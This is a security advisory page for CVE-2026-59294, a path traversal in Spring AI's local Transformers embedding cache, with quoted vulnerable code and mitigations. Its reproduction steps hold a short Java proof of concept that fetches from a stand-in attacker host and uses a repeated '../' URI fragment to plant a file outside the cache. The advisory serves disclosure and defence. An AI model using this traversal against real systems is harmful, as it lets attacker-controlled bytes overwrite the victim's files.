CVE-2026-59294

Path Traversal
Affects
Spring AI
in
Spring
No items found.
Versions
<=1.0.9, >=1.1.0 <=1.1.8, 2.0.0
Exclamation circle icon
Patch Available

This Vulnerability has been fixed in the Never-Ending Support (NES) version offered by HeroDevs.

Overview

Spring AI is the Spring project for building AI applications on the JVM, offering portable, Spring-idiomatic abstractions over chat models, embedding models, vector stores, and retrieval augmented generation. Its spring-ai-transformers module provides the local embedding option: it runs pre-trained sentence transformer models serialized to the Open Neural Network Exchange (ONNX) format in-process through the Deep Java Library and the Microsoft ONNX Java Runtime, downloading the configured model and tokenizer resources and caching them on the local file system.

A Path Traversal vulnerability (CVE-2026-59294) has been identified in the resource caching service used by the local Transformers embedding model, which allows attackers who influence a model or tokenizer URI to write downloaded content to an arbitrary location outside the configured cache directory, overwriting configuration, scripts, or other files the application process can reach.

Per OWASP: A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with "dot-dot-slash (../)" sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files.

This issue affects the local Transformers embedding support of Spring AI.

Details

Module Info

Vulnerability Info

This Medium-severity vulnerability is found in the org.springframework.ai:spring-ai-transformers package in the local Transformers embedding support of Spring AI.

ResourceCacheService mirrors remote model and tokenizer resources onto the local file system before the ONNX runtime loads them. The name of the cached file is derived from the resource URI, and the URI fragment is appended to the file name verbatim, with no rejection of path separators or dot-dot segments:

private File getCachedFile(Resource originalResource) throws IOException {
    var resourceParentFolder = new File(this.cacheDirectory,
            UUID.nameUUIDFromBytes(pathWithoutLastSegment(originalResource.getURI())).toString());
    resourceParentFolder.mkdirs();
    String newFileName = getCacheName(originalResource);
    return new File(resourceParentFolder, newFileName);
}

private String getCacheName(Resource originalResource) throws IOException {
    String fileName = originalResource.getFilename();
    String fragment = originalResource.getURI().getFragment();
    return !StringUtils.hasText(fragment) ? fileName : fileName + "_" + fragment;
}

The File returned by getCachedFile is never canonicalized and is never compared against the configured cache directory, so the constructed name decides where the bytes land. The caller then downloads the resource straight into that location:

File cachedFile = getCachedFile(originalResource);
if (!cachedFile.exists()) {
    FileCopyUtils.copy(StreamUtils.copyToByteArray(originalResource.getInputStream()), cachedFile);
    logger.info("Caching the " + originalResource.toString() + " resource to: " + cachedFile);
}
return new FileUrlResource(cachedFile.getAbsolutePath());

A fragment such as /../../../../opt/app/conf/override.properties resolves the target out of the per-resource cache folder and anywhere on the file system the JVM user can write, and the attacker also controls the bytes, because the content written is simply the body served by the remote URI. The reachable entry points are TransformersEmbeddingModel.setModelResource() and setTokenizerResource(), both of which accept a URI string, so any application that takes those URIs from a less-trusted source such as tenant configuration, an administrative UI, or an external model catalogue exposes the flaw. Exploitation requires the ability to supply that URI, which is why the vendor rates the attack complexity as high and the confidentiality impact as none; the integrity impact is high.

This vulnerability was introduced in 2024 with Spring AI 0.8.0.

Steps to Reproduce

1. Add the spring-ai-transformers dependency to a Java application on an affected version.

2. Point the embedding model at a remote resource whose URI carries a fragment containing dot-dot segments, then trigger caching:

var cache = new ResourceCacheService(Files.createTempDirectory("cache").toFile());
var resource = new UrlResource(
        new URI("https", "attacker.example.com", "/model.onnx", "../".repeat(20) + "tmp/planted.txt"));
cache.getCachedResource(resource);

3. Inspect the file system: the downloaded bytes are written to the traversed path outside the cache directory instead of inside it, and no error is raised on an affected version.

Mitigation

Only recent versions of Spring AI receive community support. Older lines are End-of-Life and will not receive public updates to address this issue.

Users of the affected components should apply one of the following mitigations:

  • Upgrade to a currently supported version of Spring AI.
  • Restrict model and tokenizer URIs to a trusted, application-controlled allowlist so that no externally influenced value reaches the embedding model's resource setters.
  • Leverage a commercial support partner like HeroDevs for post-EOL security support.

Credits

  • No finder is credited in the upstream advisory for this issue.
Vulnerability Details
Severity
Level
CVSS Assessment
Low
>=0 <4
Medium
>=4 <6
High
>=6 <8
Critical
>=8 <10
Medium
ID
CVE-2026-59294
PROJECT Affected
Spring AI
Versions Affected
<=1.0.9, >=1.1.0 <=1.1.8, 2.0.0
NES Versions Affected
Published date
August 25, 2026
≈ Fix date
Category
Path Traversal
Vex Document
Download VEXHow do I use it?
Sign up for the latest vulnerability alerts fixed in
NES for Spring
Rss feed icon
Subscribe via RSS
or

By submitting the form I acknowledge receipt of our Privacy Policy.

Thanks for signing up for our Newsletter! We look forward to connecting with you.
Oops! Something went wrong while submitting the form.